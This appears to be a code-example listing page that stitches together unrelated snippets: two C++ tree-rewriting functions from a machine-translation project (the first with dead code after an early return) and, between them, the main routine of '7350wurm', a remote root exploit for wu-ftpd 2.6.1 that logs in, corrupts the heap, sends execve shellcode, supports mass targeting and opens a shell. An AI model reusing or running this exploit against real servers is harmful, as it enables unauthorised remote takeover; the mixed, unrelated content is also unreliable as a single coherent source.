예제 #1
0
파일: transtree.cpp 프로젝트: windnc/alex
bool CTransTree::ApplyTransLexical( CUStringListRO &list )
{
	CUString src_trans_rule = list.GetAt(0);
	CUString tgt_trans_rule = list.GetAt(1);

	CUStringListRO src_list( src_trans_rule, " " );
	CUStringListRO tgt_list( tgt_trans_rule, " " );

	int start_idx = -1;
	int end_idx = -1;
	for( int i=0; i<(int)leaf_node_vec.size()-src_list.GetSize(); i++ ) {
		bool match = true;
		for( int j=0; j<src_list.GetSize(); j++ ) {
			if( leaf_node_vec[i+j]->label != src_list.GetAt(j) ) {
				match = false;
				break;
			}
		}
		if( match == true ) {
			start_idx = i;
			end_idx = i+src_list.GetSize()-1;
			break;
		}
	}

	if( start_idx != -1 ) {
		CTransTreeNode *target_node = root;
		while( true ) {
			bool changed = false;
			for( int i=0; i<(int)target_node->child_vec.size(); i++ ) {
				CTransTreeNode* child_node = target_node->child_vec[i];
				if( child_node->is_terminal == true )	continue;
				if( child_node->span_begin <= start_idx && child_node->span_end >= end_idx ) {
					target_node = child_node;
					changed = true;
					break;
				}
			}
			if( changed == false )	break;
			//fprintf( stderr, "Find: %s (%d~%d)\n", target_node->label.GetStr(), start_idx, end_idx );
		}

		for( int i=(int)target_node->child_vec.size()-1; i>=0; i-- ) {
			CTransTreeNode* child = target_node->child_vec[i];
			if( child->span_begin >= start_idx && child->span_end <= end_idx ) {
				target_node->RemoveChild( child );
			}
		}

		CTransTreeNode* new_child = new CTransTreeNode();
		new_child->label = "#";
		new_child->is_terminal = true;
		new_child->span_begin = start_idx;
		new_child->span_end = end_idx;
		for( int j=0; j<tgt_list.GetSize(); j++ ) {
			if( j > 0 )	new_child->trans += " ";
			new_child->trans += tgt_list.GetAt(j);
		}
		target_node->AddChild( new_child );

		/*
		CTransTreeNode *target_node = root;
		while( true ) {
			bool changed = false;
			for( int i=0; i<(int)target_node->child_vec.size(); i++ ) {
				CTransTreeNode* child_node = target_node->child_vec[i];
				if( child_node->span_begin <= start_idx && child_node->span_end >= end_idx ) {
					target_node = child_node;
					changed = true;
					break;
				}
			}
			if( changed == false )	break;
		}
		root->AddChild( new_child );
		*/

	}



	return true;

	vector<CTransTreeNode*> node_stack;
	node_stack.push_back( root );
	while( node_stack.size() > 0 ) {
		CTransTreeNode* node = node_stack.back(); node_stack.pop_back();
		fprintf( stderr, "%s\n", node->label.GetStr() );
		for( int i=0; i<(int)node->child_vec.size(); i++ ) {
			fprintf( stderr, "   %s\n", node->child_vec[i]->label.GetStr() );
		}

		/*
		if( node->child_vec.size() == src_list.GetSize() ) {
			bool match = true;
			for( int a=0; a<src_list.GetSize(); a++ ) {
				CUString tmp_str = src_list.GetAt(a);
				// lexical
				if( tmp_str.Count("/") == 1 ) {
					if( node->child_vec[a]->label != tmp_str ) {
						match = false;
						break;
					}
				}
				// label
				else {
					if( node->child_vec[a]->label != tmp_str ) {
						match = false;
						break;
					}
				}
			}
			if( match == true ) {
				// delete src lexical
				for( int i=0; i<node->child_vec.size(); i++ ) {
					if( node->child_vec[i]->is_terminal == true ) {
						node->RemoveChild( node->child_vec[i] );
					}
					else {
					}
				}

				// add tgt lexical + src label reorder
				for( int i=0; i<tgt_list.GetSize(); i++ ) {
					CUString tmp_str = tgt_list.GetAt(i);
					if( tmp_str.Count("/") == 1 ) {
						CTransTreeNode* new_node = new CTransTreeNode();
						new_node->label = "#";
						new_node->is_terminal = true;
						new_node->trans = tgt_list.GetAt(i);
						new_node->parent = node;
						new_node->trans_order = i;
						node->AddChild( new_node );
					}
					else {
						if( tmp_str == "@1" ) {
							CTransTreeNode* tmp_node = node->GetNthNonterminal( 1 );
							if( tmp_node == NULL ) {
								//fprintf( stderr, "fail @1 %d\n", i );
							}
							else {
								//fprintf( stderr, "succ %s %d\n", tmp_node->label.GetStr(), i );
								tmp_node->trans_order = i;
							}
						}
						else if( tmp_str == "@2" ) {
							CTransTreeNode* tmp_node = node->GetNthNonterminal( 2 );
							if( tmp_node == NULL ) {
								//fprintf( stderr, "fail @2 %d\n", i );
							}
							else {
								//fprintf( stderr, "succ %s %d\n", tmp_node->label.GetStr(), i );
								tmp_node->trans_order = i;
							}
						}
					}
				}
			}
		}
		*/
		for( int i=0; i<(int)node->child_vec.size(); i++ ) {
			node_stack.push_back( node->child_vec[i] );
		}
	}

	return true;
}
예제 #2
0
int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;       /* = argv[0] */
        int                     fd;

        tgt_type *              tgt = NULL;
        int                     tgt_num = -1;

        unsigned char           xpbuf[512 + 16];


        fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "
                "(version "VERSION")\n"
                "team teso (thx bnuts, tomas, synnergy.net !).\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {
                switch (c) {
                case 'h':
                        usage (progname);
                        break;
                case 'a':
                        automode = 1;
                        break;
                case 'D':
                        debugmode = 1;
                        break;
                case 'v':
                        verbose += 1;
                        break;
                case 'm':
                        mass = 1;
                        break;
                case 't':
                        if (sscanf (optarg, "%u", &tgt_num) != 1)
                                usage (progname);
                        break;
                case 'u':
                        username = "******";
                        printf ("username = %s\n", optarg);
                        break;
                case 'p':
                        password = optarg;
                        break;
                case 'd':
                        dest = optarg;
                        break;
                case 'L':
                        if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
                                usage (progname);
                        break;
                case 'A':
                        if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
                                usage (progname);
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        /* if both required offsets are given manually, then we dont have
         * to require a target selection. otherwise check whether the target
         * is within the list. if its not, then print a list of available
         * targets
         */
        if (user_retloc != 0 && user_retaddr != 0) {
                tgt = &tmanual;
        } else if (automode == 0 && (tgt_num == 0 ||
                tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
        {
                if (tgt_num != 0)
                        printf ("WARNING: target out of list. list:\n\n");

                tgt_list ();

                exit (EXIT_SUCCESS);
        }
        if (tgt == NULL && automode == 0)
                tgt = &targets[tgt_num - 1];

        if (mass == 1) {
                if ((argc - optind) == 0)
                        usage (progname);

                mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
                        x86_lnx_execve, &argv[optind]);

                if (mlen >= 0xff) {
                        fprintf (stderr, "created argv-code too long "
                                "(%d bytes)\n", mlen);

                        exit (EXIT_FAILURE);
                }

                fprintf (stderr, "# created %d byte execve shellcode\n", mlen);
        }

        printf ("# trying to log into %s with (%s/%s) ...", dest,
                username, password);
        fflush (stdout);

        fd = ftp_login (dest, username, password);
        if (fd <= 0) {
                fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
                exit (EXIT_FAILURE);
        }
        printf (" connected.\n");

        if (debugmode) {
                printf ("DEBUG: press enter\n");
                getchar ();
        }

        printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
                ftp_banner);

        if (tgt == NULL && automode) {
                tgt = tgt_frombanner (ftp_banner);
                if (tgt == NULL) {
                        printf ("# failed to jield target from banner, aborting\n");

                        exit (EXIT_FAILURE);
                }
                printf ("# successfully selected target from banner\n");
        }

        if (shellcode == NULL) {
                shellcode = tgt->shellcode;
                shellcode_len = tgt->shellcode_len;
        }

        if (verbose >= 2) {
                printf ("using %lu byte shellcode:\n", shellcode_len);

                hexdump ("shellcode", shellcode, shellcode_len);
        }

        if (user_retaddr != 0) {
                fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",
                        user_retaddr);
        }

        if (user_retloc != 0) {
                fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",
                        user_retloc);

                tgt->retloc = user_retloc;
        }

        printf ("\n### TARGET: %s\n\n", tgt->desc);

        /* real stuff starts from here
         */
        printf ("# 1. filling memory gaps\n");
        xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

        exploit (fd, tgt);

        printf ("# 3. triggering free(globlist[1])\n");
        net_write (fd, "CWD ~{\n");

        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
        if (strncmp (xpbuf, "sP", 2) != 0) {
                fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",
                        xpbuf);

                exit (EXIT_FAILURE);
        }

        printf ("#\n# exploitation succeeded. sending real shellcode\n");

        if (mass == 1) {
                printf ("# mass mode, sending constructed argv code\n");

                write (fd, mcode, mlen);

                printf ("# send. sleeping 10 seconds\n");
                sleep (10);

                printf ("# success.\n");

                exit (EXIT_SUCCESS);
        }

        printf ("# sending setreuid/chroot/execve shellcode\n");
        net_write (fd, "%s", x86_lnx_shell);

        printf ("# spawning shell\n");
        printf ("##################################################"
                        "##########################\n");

        write (fd, INIT_CMD, strlen (INIT_CMD));
        shell (fd);

        exit (EXIT_SUCCESS);
}
예제 #3
0
파일: transtree.cpp 프로젝트: windnc/alex
bool CTransTree::ApplyTransRule( CUStringListRO &list )
{
	CUString src_trans_rule = list.GetAt(0);
	CUString tgt_trans_rule = list.GetAt(1);

	CUStringListRO src_list( src_trans_rule, " " );
	CUStringListRO tgt_list( tgt_trans_rule, " " );


	vector<CTransTreeNode*> node_stack;
	node_stack.push_back( root );
	while( node_stack.size() > 0 ) {
		CTransTreeNode* node = node_stack.back(); node_stack.pop_back();
		/*
		fprintf( stderr, "%s\n", node->label.GetStr() );
		for( int i=0; i<(int)node->child_vec.size(); i++ ) {
			fprintf( stderr, "   %s\n", node->child_vec[i]->label.GetStr() );
		}
		*/

		if( node->child_vec.size() == src_list.GetSize() ) {
			bool match = true;
			for( int a=0; a<src_list.GetSize(); a++ ) {
				CUString tmp_str = src_list.GetAt(a);
				// lexical
				if( tmp_str.Count("/") == 1 ) {
					if( node->child_vec[a]->label != tmp_str ) {
						match = false;
						break;
					}
				}
				// label
				else {
					if( node->child_vec[a]->label != tmp_str ) {
						match = false;
						break;
					}
				}
			}
			if( match == true ) {
				// delete src lexical
				for( int i=(int)node->child_vec.size()-1; i>=0; i-- ) {
					if( node->child_vec[i]->is_terminal == true ) {
						node->RemoveChild( node->child_vec[i] );
					}
					else {
					}
				}

				// add tgt lexical + src label reorder
				for( int i=0; i<tgt_list.GetSize(); i++ ) {
					CUString tmp_str = tgt_list.GetAt(i);
					if( tmp_str.Count("/") == 1 ) {
						CTransTreeNode* new_node = new CTransTreeNode();
						new_node->label = "#";
						new_node->is_terminal = true;
						new_node->trans = tgt_list.GetAt(i);
						new_node->parent = node;
						new_node->trans_order = i;
						node->AddChild( new_node );
					}
					else {
						if( tmp_str == "@1" ) {
							CTransTreeNode* tmp_node = node->GetNthNonterminal( 1 );
							if( tmp_node == NULL ) {
								//fprintf( stderr, "fail @1 %d\n", i );
							}
							else {
								//fprintf( stderr, "succ %s %d\n", tmp_node->label.GetStr(), i );
								tmp_node->trans_order = i;
							}
						}
						else if( tmp_str == "@2" ) {
							CTransTreeNode* tmp_node = node->GetNthNonterminal( 2 );
							if( tmp_node == NULL ) {
								//fprintf( stderr, "fail @2 %d\n", i );
							}
							else {
								//fprintf( stderr, "succ %s %d\n", tmp_node->label.GetStr(), i );
								tmp_node->trans_order = i;
							}
						}
					}
				}
			}
		}
		for( int i=0; i<(int)node->child_vec.size(); i++ ) {
			node_stack.push_back( node->child_vec[i] );
		}
	}

	return true;
}